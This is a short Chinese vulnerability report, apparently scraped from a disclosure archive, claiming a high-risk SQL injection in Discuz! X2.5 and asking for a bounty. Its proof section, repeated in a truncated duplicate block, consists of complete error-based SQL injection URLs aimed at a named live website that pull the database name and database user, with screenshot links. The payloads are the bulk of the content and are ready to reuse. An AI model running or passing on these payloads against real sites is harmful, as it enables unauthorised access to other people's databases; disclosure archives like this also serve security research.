VULHUB ™

### 简要描述： DZ X2.5高危注入 第一时间发布哦 求奖金 或者移动硬盘啥的！ ### 详细说明： DZ X2.5高危注入 第一时间发布哦 求奖金 求奖金 或者移动硬盘啥的！ 闲的无聊 发现的！ ### 漏洞证明： http://www.gzcity.com/jiaoyou.php?pid=1'%20or%20@`'`%20and(select%201%20from(select%20count(*),concat((select%20(select%20concat(0x7e,0x27,unhex(hex(database())),0x27,0x7e))%20from%20information_schema.tables%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%20or%20@`'`%20and%20'1'='1 [<img src="https://images.seebug.org/upload/201304/13234616757a026cee3a5c4a377b063754805236.png" alt="QQ截图20130413234211.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201304/13234616757a026cee3a5c4a377b063754805236.png)...

### 简要描述： DZ X2.5高危注入 第一时间发布哦 求奖金 或者移动硬盘啥的！ ### 详细说明： DZ X2.5高危注入 第一时间发布哦 求奖金 求奖金 或者移动硬盘啥的！ 闲的无聊 发现的！ ### 漏洞证明： http://www.gzcity.com/jiaoyou.php?pid=1'%20or%20@`'`%20and(select%201%20from(select%20count(*),concat((select%20(select%20concat(0x7e,0x27,unhex(hex(database())),0x27,0x7e))%20from%20information_schema.tables%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%20or%20@`'`%20and%20'1'='1 [<img src="https://images.seebug.org/upload/201304/13234616757a026cee3a5c4a377b063754805236.png" alt="QQ截图20130413234211.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201304/13234616757a026cee3a5c4a377b063754805236.png) http://www.gzcity.com/jiaoyou.php?pid=1'%20or%20@`'`%20and(select%201%20from(select%20count(*),concat((select%20(select%20concat(0x7e,0x27,unhex(hex(user())),0x27,0x7e))%20from%20information_schema.tables%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%20or%20@`'`%20and%20'1'='1 [<img src="https://images.seebug.org/upload/201304/1323471600e49a16542330b7ceeb6361f46f659d.png" alt="QQ截图20130413234657.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201304/1323471600e49a16542330b7ceeb6361f46f659d.png)